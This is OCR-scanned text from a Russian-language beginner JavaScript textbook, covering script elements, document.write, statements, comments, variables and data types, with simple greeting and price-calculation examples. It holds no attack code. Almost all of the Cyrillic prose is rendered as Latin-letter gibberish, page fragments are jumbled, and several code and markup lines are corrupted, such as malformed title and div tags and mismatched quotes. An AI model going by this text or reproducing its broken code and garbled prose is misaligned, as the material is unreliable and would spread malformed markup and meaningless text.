MokasaTs BEG-HCNEKTOR. el
fMoxasaTs KoHCoNL oWNHBoK XHC

0bObIYHO COOTBETCTBYIOLLAN [ e e
KOMaHAa A0CTYMNHa B MEHI0 ’ imsdgmostt e

CY-777 3anycx 3aNUCH WKANK BREMGHA ToRT

[PAXQAHCKOE CTPOUTENSCTBO OuscTrs K3um txE
Omxmosms Kawm

Uucrpymentor (Tools) nau Pas-
pa6orka (Develop).

OmemouMT, MIOBPAXEHUA

4 f HOUMTL CTHIK
[OBPbIA OEHK! i i
OTKAIOYMTL XBPAKTEPHLIE AN CAATOB XAKA
Mo Bcem Bonpoca npockSa BoiKAIO4Tb OFPAHAYEHNS IR NOKANbHLIX hainos |

ofpamareca no Ten.: 555-3344

Paspewws JavaScript w3 nons cuapT-noucka

O B ucxoaHoM Koze Beb-
CTpaHuLbl HET HOBOTO
3/1eMeHTa, KOTopPbI Obl
no00baBfieH Ha CTpaHuLy.
Bbl MOXeTe BUAETb TO/IbKO
ccbinky Ha JavaScript- cy-777

d)a l7|J'|. [PAXAAHCKOE CTPONTENLCTBO
[OOBPbLIA OEHb! ‘
[To mepe YTeHUsa KHUT U Bbl N RCE. - TR e

 add-contont htmi - [ fieposo Dow * [ numi - [ bocy

3aMeTuTe, YTO CUeHapum,

¥ <5 add-content html @

KakK npasumno, p'06a BA- | PRMIXeptAIEKACOGEARIKUIXINP-2RMNA. .

& constructive-backdrop.jpg

IOTCA HenoCcpeaCTBEHHO ; :::s:::;:j:aa,w ) o “js/ads-content.js" o</ seriot
neped 3akpbliBaoLLnm B csiin ¥

FH noxanuyan nawsre

Terom </body>. [P

OCHOBbI MPOrPAMMUPOBAHUA



PASMELWLEHWE CUEHAPUHA
HA CTPAHNLUE

Ha cneagytowen HTML-cTpaHmue NprucyTCTBYET CLUEHAPUN.

OH HaxognTCa MeXy OTKPbIBAKOLLMM TErOM <script> 1 3aKpbl-
BalOLWMM Terom </script>. O4HaKO peKOMeHAYeTCs XPaHUTb BCe
cueHapuu B oTaeibHOM daine.

<!DOCTYPE html>

MonpobynTe OTKpbITL
<html> 7] pooy p

<head> ceBon HTML-cann, yaanme
<title=CY-777</title> N3 OTKpbIBaloLLLEro Tera
<link rel="stylesheet" href="css/c01.css" /> .

<script>aTpubyTsrcn g -
</head> pt>aTpnb oba
<body> BWB HOBbIN KOA, NpUBeAEeH-

<h1=CY-777</h1> i cheBa. Me era
<script>document.write('<h3>Mpusercrayem!</h3>"); HbIM CNEBA, MEXAY TEramut
</script> <script> u </script>. ATpnbyT

<p=>Io Bcem Bonpocam npocb6a 06pawarbes no Te.: src Bam 60/IbLLIE HE MO-
<em>555-3344</em></p>
</body> HagobuTCa, Tak Kak Koz

</html> JavaScript Tenepb Haxo-
antca Ha HTML-cTpaHuue.

Kak y>e 6bl710 ckasaHo,
NyJlle He CMeLrBaTh
Takum obpasom kog HTML
n JavaScript. 3ToT npu-
Mep NpUBOAUTCS 34€Ch,
TaK Kak Bbl MOXeTe CTOJI-
KHYTbCS C MOAOOHBLIM Ha
npakTuke.

© OTkpoitTe HTML-dbaiin
B bpaysepe. Bbl yBuagmnTe
Ha CTpaHuLe NpuBeTCTBUE.

¢

Cy-777
[PAX/AHCKOE CTPOUTENLCTBO Bbl, HaBEpHOE, yXe A0-
razanuch, YTo MeToj
TPUBETCTBYEM! document.write() 3ann-

o scem monpocau npocnéa
ofpamarscs mo wen.: 555-3344

CbIBAeT KOHTEHT B J10-
KYMeHT (To ecTb Ha
Beb-cTpaHumLy). JaHHbii
noaxo Hanbonee npo-
CTOW, HO JJaneko He
nyqwni. Brnase 5 mbl
paccMOTPUM pasinyHble
cnocobbl 06HOBNEHMSA KOH-
TeHTa Ha cTpaHuLe.

OCHOBbI MPOrPAMMUPOBAHUSA @



KAK PABOTATb
C OBbEKTAMN N METOOAMU

Hwu>ke npmuBegeHa cTpoka koaa Ha JavaScript, no3sonsto-
LLLas MOHATb, Kak B 3TOM A3blke paboTatloT c 06bekTamu
n metTogamu. lNNporpaMmMmCTbl B TAaKOM Caly4ae roBopsT,
4YTO AeslaeTcs BbI3OB onpeAeseHHOro MetToaa Toro nam
MHoro obbekTa.

MeTog write() o6bekTa Ao-
KYMEHTa Mo3BO/ISET 3arnunchl-

O6beKkT AOKYMEHTA NpeacTaBiseT
uenyt sBeb-ctpaHuuy. Bce bpayse-
pbl peannsytoT 3TOT 06BLEKT, U AN BaTb Ha BE6-CTpaHMLy HOBbIM
€ro ncnonb3oBaHusa Bam bygeT go- KOHTEHT, TaM, r4e Haxo4nTCs

CTATOYHO MPOCTO yKasaTb ero ums 3/IEMEHT script

OBbEKT METOO

document.write('0o6pbiit geHb!');

NAPAMETPbI

ONEPALMA OOCTYNA

Ob6BbEKT AOKYMEHTA UMEET psaj Bcakuin pas, korga metoay Ana paboThbl

MeToa0B 1 cBONCTB. OHM Ha3bIBa- TpebyloTca HEKOTOpPbIE AaHHbIE, 3TU AaH-
I0OTCS YIeHaMU AaHHOTo 06beKkTa. Hble yKa3blBalOTCA B KPYT/IbIX CKOOKaX.
Ana gocTtyna K 4aeHam obbekTa Kaxxablh dparmMeHT nHdopmaLmm, Ha-
XOAALWMACA B CKOOKax, HasblBaeTcs
napameTpom meTtoza. B gaHHOM cayyae

MeToay write() Heobxoanma nHdop-

HY>KHO MOCTaBUTb TOUKY MeXAy
NMEHEM 0OBEKTA U TEM YTIEHOM,
K KOTOPOMY Bbl XOTUTE MOJIY4YUTb
aocTtyn. Tak ocyLiecTBaAseTCS 06-
paLieHue K YeHy.

MaLMsa 0 TOM, YTO HY>KHO HamMcaTb Ha
cTpaHule.

«3a Kkagpomy 6paysep
ncnonb3yeT ropasgo 6o-
Jlee C/IOXKHbIV KOoZ, YTO6bI
BbIBECTU C/I0BA Ha 3KpaH,
HO BaM He TpebyeTcs no-
HMMaTb, KAK UMEHHO OH
3TO Aenaer.

Bbl ONXKHBI 3HATH INLLbB
0 TOM, Kak BbI3bIBaTb
06BbEeKT U MeToA 1 coob-
waTb MeToay Ty MHdoOp-
Mauuio, kotTopasa Tpeby-
eTCcs AN BbINOJIHEHUS
nocTaB/IeHHOM BamMu
3agauun. Bce octanbHoe
MeToJ caenaeT cam.

@ OCHOBbI MPOrPAMMUPOBAHUSA

CywecTByeT MHOXe-
CTBO 06bEKTOB BpoAe
document, a Tak>xe macca
METOZ0B, MoA06HbIX
write(). OHV npuroaaT-
Cc BaM Npw HanMcaHum
BaLLNX COBCTBEHHbIX
cueHapuesB.



KOL JAVASCRIPT PABOTAET
B TOM YACTUW CTPAHULIbI,
[OE OH PACIOJIATAETCH

B HTML-PASMETKE

Koraa 6pay3sep HaxoAUT Ha CTPaHMULE 3/IEMEHT script, OH
npepbiBaeTCs Ha 3arpy3sky cueHapus, a NOTOM NMpoBepseT,
AOJIXKEH /N OH CAeNaThb elle YTo-HUbyAab, CBA3aHHOE C 3TUM

cLeHapuem.

<!DOCTYPE html>
<html>
<head>
<title>CY-777</title>
<link rel="stylesheet" href="css/c01.css" />
</head>
<body>
<h1>CY-777</h1>

—— <script src="js/add-content.js"></script>
</body>
</html>

<p=>Mo Bcem Bonpocam npocbba 06pawarbca no Ten.;<em>555-3344</em></p>

Ob6paTuTe BHUMAHUE: 31EMEHT script mo-
XeT pacnonaraTbcs 1 noA nepebiMm ab3a-
ueM. B Takom cnyyae npuseTcTBue byaet
BbIBOAMTbLCA HAa CTPaHULLE Y>KE B APYTrOM
MecTe.

&b
©

Cy-777

FPAXAAHCKOE CTPOWTENBCTBO

COOTBETCTBEHHO, TpebyeTca BHUMATE b
HO MoA6MpaTb MeCTO AN PacnosioXeHUs
3/1eMEHTOB script, NTOCKO/IbKY 06paboT-

Ka CLleHapueB MOXeT CKa3blBaThCH Ha
ANNTENbHOCTU 3arpy3Kn JOKYMEHTOB
(cm. c. 362).

OCHOBbI MPOrPAMMUPOBAHUSA @



Jlydlie BCero gepxaTb KOJ Ha A3blKe
JavaScript B otaenbHom dpanne. annbl € KO-
AOM Ha JavaScript aBNsa0TCA TEKCTOBbIMM
(kak n pannbl HTML-cTpanuu n Tabnuy, cTu-
nen CSS), HO UMEeIT pacLUnpeHne .Js.

HTML-3n1eMeHT script NpUMeHaeTCs Ha BeD-
CTpaHuuax, 418 Toro 4tobbl ykasbiBaTb bpay-
3epy, YTO HYXHO 3arpy3nTb pan Ha A3bIke
JavaScript. 9TuM OH HaNOMMWHAET 3N1EMEHT
link, KOTOpPbIN MOXET NCNO/b30BATLCS ANS 3a-
rpy3kun ¢panna CSS.

Ec/iv Bbl MpOCMOTPUTE UCXOAHbIN KOJ BED-
CTpaHuLbl B Opay3epe, TO 0OHApyXNTE,

yTo JavaScript Hukak He nameHsetT HTML-
pa3meTky. Jlesio B TOM, YTO cLieHapun pa-
boTaeT Cc MoJesbio BEO-CTpaHULbl, KOTOPYHO
co3aan bpaysep.






B aTOM rnaBe Bbl HAYHETE YNTATb U NUCATb KO Ha
a3blke JavaScript. Bbl Takxxe HayumTecb GopmMyan-
poBaTb 415 6pay3epa KOMaHZAbl, KOTOPble OH A0/-

>KEH BbIMOJ/IHATD.

A3bIK: CUHTAKCHNC
N rPAMMATUKA

Kak npun nsyyeHum ntob6oro HoBOro
A3blka, Ha NEPBOM 3Tarne 3HakoM-
cTBa c JavaScript Bam notpebyeTcs
BblyUYnTb HOBblE C/I0Ba (N1eKCUKY) 1
npasufia, B COOTBETCTBUMU C KOTOPbI-
MW N3 3TUX CI0B CTPOSATCA «dpasbly
(rpaMMaTuKy 1 CUHTAKCUC A3bIKa).

OOPMYJINPOBAHUE
KOMAHO, KOTOPbIM
DOJIXKEH CJIEOOBATb
BPAY3EP

Bpayzepbl (M KOMMbIOTEPLI BOOHLLE)
peLlatT 3aZa4um COBCEM He Kak
noaun. Bawm nHctpykumm (KomaHzabl)
A0/IKHbI 6bITb MOCTPOEHbI TaK, YTOOBI
KOMTMbIOTEP NPaBMbHO UX MOHUMAT.

Mbl HauyHeM ¢ N3y4YeHNA HEKOTOPbIX OCHOBHbIX 3/TEMEHTOB A3blKa M paCCMO-
TPUM, KaK UX MOXHO MCMO/1b30BaTb A/14 HanMcCaHnAa I'IpOCTeI;ILLIl/IX cueHapu-
eB. Hac 6yﬂ,yT MHTEepecoBaTb CUeHapWK, BblNMOJIHAEMblE BCEIr0 3a HECKOJ/1bKO
MPpOCTbIX LLaros. B nocnegyroumx rnasax Mbl 06paTI/IMCﬂ K U3y4YeHNr bonee

CNNOXKHbIX KOHLEMLWA,

@ OCHOBHbIE KOMAHObI JAVASCRIPT






MHCTPYKUNW

CueHapum — 3TO ps NpeannCcaHnin, KOTopble KOMMbIOTEP
MOXET BbINOMHATbL MO NOPSAKY, OAHO 3a Apyrnm. Kax-
Abl TAKOW 3Tan BbIMOJIHEHMUS HAa3bIBAETCS MHCTPYKLUEN.
B KOHLE MHCTPYKUWW BCErga CTaBMUTCS TOYKA C 3aNsTON.

Kog B KHMre oTOopMaTUpoOBaH Creayto-
LWMM LUBETOM
* KaxkJaa cTpoKa KoAa, BblgesieHHasn
3eJ/1IeHbIM LLBETOM — 3TO MHCTPYKLUS;

* poz0Bbie GUTrypHble CKOBKM
yKas3blBalOT Hayano u KoHel, 610ka
koga (kaxabii 610K KoZa B JaHHOM
npumepe mor 6bl coepxaTb ropaszao
60o/blLLEe UHCTPYKLMIA);

» bunoneToBbIN UBET WpUdTa
yKasblBaeT, KaKon MMeHHO pparMmeHT
KoZa A0XKeH 6bITb BbIMOJIHEH
(noapobHee cm. Ha c. 155).

A3bIK JAVASCRIPT
YYBCTBUTEJIEH K PETUCTPY

3T0 03HayaeT, YTo nms hourNow He paBHO
HourNow nan HOURNOW.

MHCTPYKUUUN — 3TO
NMPEOMUNCAHUA

Kaxaas UHCTPYKLMA SBNAETCS OTAE b
HbIM Npeanucannem (AMpekTUBOn),
KOTOPYIO [0JIXKEH BbIMO/HUTb KOMMbIOTEP.
OHa [0/1)XHa HaYMHAaTbCA C HOBOW CTPO-
KV 1 3aKaH4YMBaTbCS TOYKOW C 3aMATOM.,

B Takom cnyyae Bawl kog byaeT yaobHee
YNTaTb N BOCMIPUHMMATD.

Touka ¢ 3anaTon coobLiaeT uHTepnpe-
TaTopy JavaScript, yTo 3Tan 3akoHYeH 1
cneayeT NepenTun K BbIMOSIHEHWIO Ceayo-
uiero.

OCHOBHbIE KOMAHObI JAVASCRIPT

var today = new Date();
var hourNow = today.getHours();
var greeting;

if (hourNow > 18) {
greeting = '[o6pbiit Beuep!';
} else if (hourNow > 12) {
greeting = '[lo6pblit aeHb!";
} else if (hourNow > 0) {
greeting = '[lo6poe yTpo!";
}else {
greeting = 'Mpusetcteyem!’;

}

document.write(greeting);

MHCTPYKLUUU MOXXHO OPTA-
HU3O0BbLIBATb B BJIOKN KOAOA

HekoTopble MHCTPYKLMM HAaXoAATCA B du-
FypHbIX CKOBKax; Takme GparMeHTbl Hasbl-
BatoTCA bs10kamum Ko4a. 3a 3aKpbiBatoLLen
durypHom ckobkom Touka c 3anaTon He
cTaBuTCA.

B BbiLLENPMBEAEHHOM KO/ Kax bl 610K
COAEPXUT MO OAHON MHCTPYKLMNK, KOTO-
pas ykasblBaeT Tekylllee BpeMs. baoku
KOZa 4acTo MCMo/b3yloTca Ansd obbean-
HEHMSA B rPYNMbl MHOXECTBA MHCTPYKLNA.
Takas npakTukKa NoMoraeT nporpaMmmum-
CTaM OpraHM30BbIBaTb KO M MOBbILLATb
ero yao6bo4nMTaemMocTb.



KOMMEHTAPUI

CnenyeTt oCTaBNATb BHYTPU KOAA KOMMEHTApuu, NOSIC-
HAOLLME, YTO AeNaeT TOT UM UHOWM ero pparmeHT. OHM
Tak>Ke NOoBbILLAT YyA0004YNTAEMOCTb CLIEHAPUER N Y1yY-
LatoT nx BocnpusatTre. KOMMeHTapmm cnocobHbl MOMOYb
He TOJIbKO BaMm, HO 1 ApYrnM I0ASM, KOTopble byayT pa-

6oTaTb C BalUMM KOZOM.

/* 3TOT cLieHapuit BbIBOAUT Ha 3KpaH NPUBETCTBME NOMb30BATENIO, OCHOBbIBAACh HA TEKYLLEM BpeMeHU */

var today = new Date();

// Co3aaem HOBbI 0GBEKT faHHbIX

var hourNow = today.getHours(); // Haxoaum Tekywnit yac

var greeting;

// OTo6paxaem NpuBETCTBUE B 3aBUCUMOCTM OT TEKYLLErO BpEMEHU

if (hourNow > 18) {
greeting = 'Good evening';
} else if (hourNow > 12) {
greeting = 'Good afternoon';
} else if (hourNow > 0) {
greeting = 'Good morning';
}else {
greeting = 'Welcome';
}

document.write(greeting);

MHOIOCTPOU4YHbIE
KOMMEHTAPUHA

ANna HanncaHnsa KOMMeEHTapUs, 3aHU-
Mmatolero 60/1bLUe 04HOV CTPOKU, B €TO
Hayane cnegyeT NOMECTUTb CUMBOJIbI /7,
a B KOHLle — */. BCe, UTO HaxoauTCs Mexay
3TUMM Napamu CUMBOJIOB, He 0bpabaTbl-
BaeTCa MHTepnpeTaTopom JavaScript.

MHOFOCTPOUYHbIE KOMMEHTapUM 3a4acTyio
OMUCbIBAIOT, Kak MMeHHO paboTaeT cLeHa-
puit, NTMBGO NPUMEHSOTCA ANA TOrO, 4TO-
6bl 326/10KMPOBaATh BbINO/IHEHME YACTH
CLeHapusa Npu ero TeCTMpOBaHuUK.

JavaScript-koga BbligeneH
3eJIeHbIM LiBETOM.
MHOroCcTpoYHble KOMMEHTapUN
BblJe/1IeHbl PO30BbIM LIBETOM.
OAHOCTPOYHbIE KOMMEHTapUK
BblZl€/1€Hbl CEPbBIM LIBETOM.

OOHOCTPOUYHbIE
KOMMEHTAPUA

B 04HOCTPOYHOM KOMMEHTapuu ntobom
TEKCT, CeAyroWnn 3a Nnapon caewen //
B npeaenax ogHos CTpoku He obpaba-
TbIBAeTCsA MHTepnpeTaTopoM JavaScript.
OAHOCTPOYHbIE KOMMEHTapUK YacTo
NPUMEHSAIOTCA A1 KpaTKUX 3aMedaHunii
0 GYHKUMOHMpPOBAHMM KoAa.

Mpv NpaBubHOM UCMOb30BaHNM KOM-
MeHTapueB Bbl CMOXETe /Ierko BO3Bpa-
waTbcs K paboTe Hag KOAOM CNyCTS He-
CKO/IbKO AHEN nan faxe mecaues. Kpome
TOro, OHM MOMOTYT pa3obpaTbCs B BalLem
KoJZe TeM, KTO BUANUT ero Brnepsble.

OCHOBHbIE KOMAHObI JAVASCRIPT



U4TO TAKOE NEPEMEHHAH

CueHaputo YyacTo bbiBaeT
HY>XHO Kakoe-TO BpemMs Co-
XpaHATb GparmMeHTbl UH-
dopmauymun, Heobxoamnmsble
[N9 BbINOJIHEHUSA 3a4a4M.
DTN AaHHble MOXHO Xpa-
HUTb B [1€PEMEHHbIX.

Korga Bbl nuweTe koA JavaScript, Bam npuxoanT-
CcslnsnaraTb MHTEPNpPEeTaTopy KaXAyto oTAe b-
HY0 Onepaumio, KOTopyto TpebyeTcsa BbINOMHUTD.
MHoraa aTo conpsaxeHo ¢ bonbluen getanmsaym-
e, Y4eM MOXHO BbIN10 Bbl NPEANONOXUTb.

,ﬂ,OI'IyCTVIM, Mbl XOTUM BbIYNCINTb NAoOWaAb CTe-
Hbl. B MaTemaTuke naowasb NpAMOYrobHMKA —
3TO NponsBegeHne AByX YNCNOBbIX 3HaYeHUN:

inpuHa x BeicoTa = lNaowassb.

MoAo06HbIe BbIYNCIEHNS BMOJIHE MOXHO J1erko
flenatb B yMe, HO NpuW HanucaHum cueHapus
A5 peLleHNst Takon 3aa4m KOMMbIOTEPY HYX-
HO AaTb 04YeHb NOAPOBHbIE yKAa3aHUsA O TOM, Kak
ee BbINOJIHATb. Hanpumep, oH fonXeH byzeT
no NopsAKY OCYLLeCTBUTb YeTbipe CliegytoLimne
onepauuu.

1. 3aNOMHUTb 3Ha4yeHne LNPUHBbI.
2. 3aNOMHUTb 3HAYEHWNE BbICOTHI.

3. YMHOXWTb BbICOTY Ha LUMPUHY ANA NMONyYe-
HWUS NaoLWaam.

4. BepHyTb Nonb30BaTE/O 3HAYEHWE, NONY-
YyeHHoe Ha aTane 3.

B Takom cnyyae Ans 3aNOMUHaHUSA 3HaYeHUR
BbICOTbI W LUMPUHBI BYAYT UCMOIb30BATHCA
nepemMeHHble. Ha JaHHOM MpyMepe Mbl Takxe
BMAMM, 4TO KOMMbOTEP TpebyeT NpeaesibHO
YeTKUX MHCTPYKLMIA OTHOCUTEIBHO TOTFO, YTO
1 B KakoM nopsazake Heobxo4nMmo caenatsb.

[MepeMeHHble MOXHO CpaBHUTb C YesoBeye-
cKkom KpaTKOBDeMeHHOVI namMaTbio, MOCKOJIbKY

OCHOBHbIE KOMAHObI JAVASCRIPT

KaK TO/IbKO Bbl yiigeTe ¢ Beb-cTpaHuubl, bpay-
3ep cpasy xe «3abyaeT» BClo UHbOpMaLmio,
KOTOPYIO yCMes 0 Heill 3aNOMHUTb.
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KAK OB bABJIAKOTCH
[MEPEMEHHbBIE

Mpe>Xkae Yyem Bbl CMOXETE UCMO/Ib30BaTb NEPEMEHHYIO,
HeobxoAMMO coobLKNTb, YTO Bbl COBUpaeTech 3TO cae-
naTb. Bbl 4ONXKHbBI CO34aTb NEPEMEHHYIO U MPUCBOUTDL EN
nms. NMporpaMmmMucTbl HasblBalOT Takon Npouecc o6baB-
NeHneMm, nnn geknapauven, nepeMeHHOMN.

var quantity;

I

KJIIOYEBOE CJ1IOBO

NEPEMEHHOU

var — Mpumep CyLLIHOCTH,
KOTOpas B Nporpammm-
pOBaHWWN Ha3blBaETCS
K/Il0O4EBbBIM CNOBOM. VIH-
TepnpeTtaTtop JavaScript
3HaeT, YTO Takoe KJye-
BOE C/IOBO UCMOJIb3yeTcs
npu Co3aaHun nepemMeH-
HOW.

|
UMSA NEPEMEHHON

YT06bI UCMONBb30BATH
nepeMeHHyY, Hy>KHO
NpUCBOUTb el UM9
(MHOrga oHo HasbIBaeT-

cA naeHTUPUKaToOpom).

B gfaHHOM cnydyae nmqa

nepemMmeHHon — quantity.

@ OCHOBHbIE KOMAHObI JAVASCRIPT

Ecnv umsa nepemMeHHOM
cocTouT bonee yem n3

0 HOrO C/I0Ba, TO OHO
06bIYHO 3aMUCbLIBaET-
CA B Tak Ha3blIBaeMoOM
ropbaTtom perucTtpe.
3TOo 03HAYyaeT, YTo
nepBOE C/I0OBO B UMEHM
MULLETCHA CO CTPOYHOM
6yKBbI, @ BCE OCTalb-
Hble C/I0Ba B Ha3BaHUU
nepemMeHHOM 3anuncbiBa-
toTca 6e3 npo6enos, HO
nepeas 6ykBa B Ka>K40oM
W3 C/I0B ABNISETCA NPO-
MUCHOMN.



KAK TTIPUCBONTD
[MNEPEMEHHOW 3HAYEHNE

Koraa nepemeHHas coszaHa, Bbl MOXETE COOOLLUTDb eN,
Kakyt nHdopmauuto cobmpaeTech B HEN XpaHUTb. B Ta-
KOM CJly4ae NporpamMmmMmCT FOBOPUT, YTO MPOUCXOANT
npucBaMBaHMe 3HAYEHUSA NePEMEHHON.

OMNEPALMA NPUCBAUBAHUA

quantity = 3:
— e

UMS NEPEMEHHOM 3HAYEHUE
NEPEMEHHOM

Mo>kHO ncnonb3oBaTb CnmBO paBeHCTBaA Moka nepemeHHOM He
nepemMeHHyo, Ha3blBas (=) — a3To onepauus NPUCBOEHO 3HaYeHMe,
ee Mo MMeHW. 34ecb Mbl npuceBamBaHus. CTaBs NporpamMmMmcT roBOpMUT,
3ajaemM 3HauyeHue ans ero, Bbl IpucBanBaeTe 4YTO ee 3HaYeHue ABNS-
nepemMeHHOM C UMeHeM 3HayeHne NepeMeHHOMN. eTcs HeonpeAe/ieHHbIM.
quantity. [1o BO3MOX- Kpome Toro, oH ucnonb-
HOCTU UMS NepeMEHHOM 3yeTcs 4719 06HOB/IeHMS
AOJIXXHO XapakTepuso- uHdopmaumu, 3anu-
BaTb Te AlaHHble, KOTO- CaHHOW B NepeMeHHOMn
pble B HeW cogep>aTcs. (cm. c. 74).

MecTo, rae o6baBNeHa NepeMeHHas, MOXeT BAUSATb Ha TO, UMEeM 11 Mbl NPaBo UC-
Nno/sib30BaTb €€ B OCTABLUENCA YacTu cueHapums. MporpaMMMUCTbl HAa3biBaOT 3TOT de-
HOMeH 06n1acTbio BUAUMOCTU. Mbl nogpobHee noroBopum 06 061actTv BUAUMOCTHU
Ha c.104.

OCHOBHbIE KOMAHObI JAVASCRIPT



TUTbl JAHHbBIX

B a3bike JavaScript pa3znmyaoTca AaHHble HECKOIbKUX TW-
noB. Ba>kHenLme n3 HUX — 3TO YMCa, CTPOKMK, a Takxe

3HAYeHUS, KOTOPbIE MOTYT HaX0AMUTbCSA B UCTUHHOM (true)
NN noxxHom (false) COCTOAHMM M HA3bIBAOTCA TIOFNYECKU-

MW, nan byneBbIMN.

YMCNOBBIE
DAHHbIE

YncnoBsble AaHHble
npeAHasHauyeHbl
ansa paboTbl

C yncnamm.

0,75

Mpu pelueHnn 3agay, cesa-
3aHHbIX C MoAcCYeTaMu Unu,
Hanpumep, C BblYNCIEHMEM
CYMM MCMNONb3YITCA Yncna,
3anucbiBaemble Undpamu
OT HyNs A0 AeBATU. Hanpu-
Mep, YNC0 NATb ThiCAY ABe-
CTN CEMbAECST ABa MOXHO
3anucaTb kak 5272. Kpome
TOro, yncna 6biBalOT OTPU-
LatenbHbIMKU (Hanpumep,
-23678) nnu AecATUYHbIMU
apobamu (Tpu yeTeepTHn
MOXHO 3anucaTb kak 0,75).

Yucna ncnonbsyoTcs He
TOJIbKO MpK NoAcyeTax.

Hanpumep, K HUM npu-
beratoT Npu onpeaeneHmm
pasmepoB 3KpaHa, npu
nepemMeLlleHnn sanemMeHTa
Ha CTpaHuLe Uan npu 3a-
AAHUV Nepunoaa BpeMeHMU,
B TeyeHue KOTOpOoro afe-
MEHT Z0JIKEH NOCTEMNeHHO
MpOCTYMNWUTb Ha CTpaHuLe.

CTPOKOBBbIE
OAHHbIE

CTpOKOBbIe AlaHHble
COCTOAT U3 bykB

N Apyrux
CYMBOJIOB.

'Mpuset, mup!'

Kak BuaWUTE, CTPOKOBbIE
JaHHble HAXO4ATCH B
OAMNHOYHbIX KaBblukax (OHM
BMOJIHE MOTYT BbITb M ABOW-
HBIMW, HO OTKpbIBalOLLan
KaBbluka [O/IXHa BbIria-
[1eTb TaK Xe, Kak v 3aKpbiBa-
owasn).

CTPOKM MOXHO UCMOb30-
BaTb nNpu paboTe c NtobbIM
TEKCTOM. 3a4acTyto OHHU
npUMeHsItoTCS AN 40-
6aBneHMs HOBOTO TekCcTa
Ha cTpaHuuy. CTpoku
MoryT cogepxatb HTML-
pasmeTky.

JTIOr'MYECKUE
3HAYEHUA

JNoruyeckue (bynesbr)
JaHHble MOTYT NPUHM-
MaTb TO/IbKO OZLHO U3 ABYX
3HaYeHWnn: true nau false.

true

Ha nepBbiv B3rna4 sTa KoH-
Lenums MoxeT nokasaTbcs
ypesmepHo abcTpakTHOM,
HO Ha caMOM Jese foru-
YECKUN TUM AaHHbIX OYeHb
yAo6eH.

WX YMECTHO CpaBHUTb C Bbl-
KatoYaTenem, KOTopbii Mo-
XeT 6bITb TO/IbKO BK/IOYEH
W/IN BbIK/TIOYEH — TPeTbero
He AaHo. Kak Mbl MOKaXem
B rnaee 4, Npy NOMOLM N10-
rMYeCcKmMX 3HAYEHUI OYEHb
yA06HO yKasbiBaTb, Kakas
4acTb CeHapusa 4oJIXHa
ObITb BbIMNOMHEHA.

Kpome aTnx Tpex TMNOB AaHHbIX, B A3bike JavaScript noa-
AepxuBatoTcs n gpyrune (maccuebl, 06bekTbl, undefined
nnull), 0 KOTOPbIX Mbl MOrOBOPUM B C/IEAYIOLLINX T1aBax.

B JavaScript npv 06baBAEHUN MEPEMEHHON Bbl HE JOIXKHbI
yKas3blBaTb, AaHHble KAKOro TUMa B Hell ByAyT cozepkaTbCs,
Torza kak B HEKOTOPbIX APYruX si3blkax MporpaMmmMmmpoBa-
HNA 3TO 06A3aTENbHO.

OCHOBHbIE KOMAHObI JAVASCRIPT



JAVASCRIPT

var price;

var quantity;

var total;

price =5;

quantity = 14;

MCMOJIb30BAHUE
NEPEMEHHOW
019 XPAHEHUS YNCTIA

c02/js/numeric-variable.js

total = price * quantity;

var el = document.getElementById('cost');
el.textContent = total + ' R';

<h1>Pait</h1>

c02/numeric-variable.html

<div id="content">
<h2>WmeHHas Tabnuyka</h2>
<divid="cost">LleHa: 5 R 3a 6ykBy</div>
<img src="images/preview.jpg" alt="Sign" />

</div>

<script src="js/numeric-variable.js"></script>

PE3YJIbTAT

_abogoe, Al W GRS i I |

MpocMoTp:

MMEHHASA TABJTNYKA

B/ICEMMUWUIPRPHASA<CET|Db

Ha aTol cTpaHuue cos-
AaloTCA NEPEMEHHbIE,
N MM NPpUCBanBaOTCS
3HayeHus.

* B nepemeHHOM price
COAEPXMNTCA LieHa
oAHON NANTKW (To ecTb
6yKBbI).

* B nepemMeHHOM quantity
COAEPXMNTCS KOMnUYe-
CTBO MJ/INTOK, 3aKa3aH-
HbIX KJIMEHTOM.

* B nepemeHHoOM total
coaepxuTca obuias
CTOMMOCTb 3aKa3aHHbIX
MANTOK.

ObpaTuTe BHUMaHME:
yucna He 3anucbiBa-
joTCs B KaBblykax. Ecan
nepemMeHHOW NPUCBOEHO
3Ha4YeHMe, TO Bbl MOXETE
MCNnoNb30BaTb ee NMSA
ANS NpeACcTaB/IeHNs 3TO-
ro 3HavyeHus (kak B an-
rebpe). B npnsegeHHom
BblLLe Npumepe obuias
CTOMMOCTb BblYMC/SeTCA
NMyTeM YMHOXEHUS LieHbl
OAHOW NANTKWN Ha pa3mMmep
3akasa.

3aTeM pe3ynbTaT BbIBO-
ANTCA Ha CTpaHuLy, 3TO
AenaeTcs B ABYX nocaesa-
HUX cTpokax. Mbl noa-
pobHee 0bCcyanm Takyto
TEXHWKY Ha C. 222.

[MepBasa M3 ABYX CTpOK
HaXOAWNT 3/IEMEHT, Yen
aTpubyT id MMeeT 3Ha-
yeHwue cost, a nocneaHas
3aMeHsIeT KOHTEHT 3Toro
3/1eMeHTa Ha HOBbIN.

MpumeyaHume: CyuiecTByeT HEMao CMOCO6OB 3aMMCK KOHTEHTa Ha cTpaHuuy. CBOW cLeHapuii Bbl
Tak>e MOXeTe NMoCTaBUTb B OJ4HOM U3 HECKO/IbKMX MeCT. /loCTOMHCTBA U HEJOCTATKM Takom TEXHUKM
paccMoTpeHbl Ha c. 232. OHa He byaeT paboTaTb B 6pay3epe Internet Explorer Bepcuum 8 n Huxe.

OCHOBHbIE KOMAHAbI JAVASCRIPT



MCMOJIb30BAHUE
NEPEMEHHOW ON4
XPAHEHWSA CTPOKM

JlaBanTe BHUMATENBHO pac-
CMOTPUM NMEPBbIE YETbIpE
cTpoku JavaScript B koae,
NpPUBEAEHHOM HUXE.

3aech 06bABASAIOTCA ABE
nepemexHble (username v
message), KOTOpPblE C/IyXaT
[I715 XpaHEHMNS CTPOKOBbIX
AaHHbiX (MMeHM Nob30-
BaTe/a U CoobLeHNs Ans
3TOro Nonb3oBaTens).

Kog ana obHoBNeHMa cTpa-
HULbl (B NOCNEeAHUX YeTbl-
pex cTpokax) nogpobHo
paccmoTpeH B rnase 5. Kog
BblAENSAET ABa 3/IeMeHTa Nno
3HaYeHNsIM nx aTpubyTos
id. TekcT B 3TUX afleMeHTax
0BHOBNAETCA 3HAYEHUAMM,
COXPaHEeHHbIMM B BbllLeyKa-
3aHHbIX MepeMEHHbIX.

O6paTuTe BHUMaHMUeE: CTPO-
KOBble NocC/ie40BaTe/bHO-
CTW CUMBOJIOB HaxoAATcsa

B KaBbl4Kax. KaBblYku Mo-
ryT 6bITb OAMHOYHBIMM NN
[IBOMHbBIMW, HO OTKPbIBaIO-
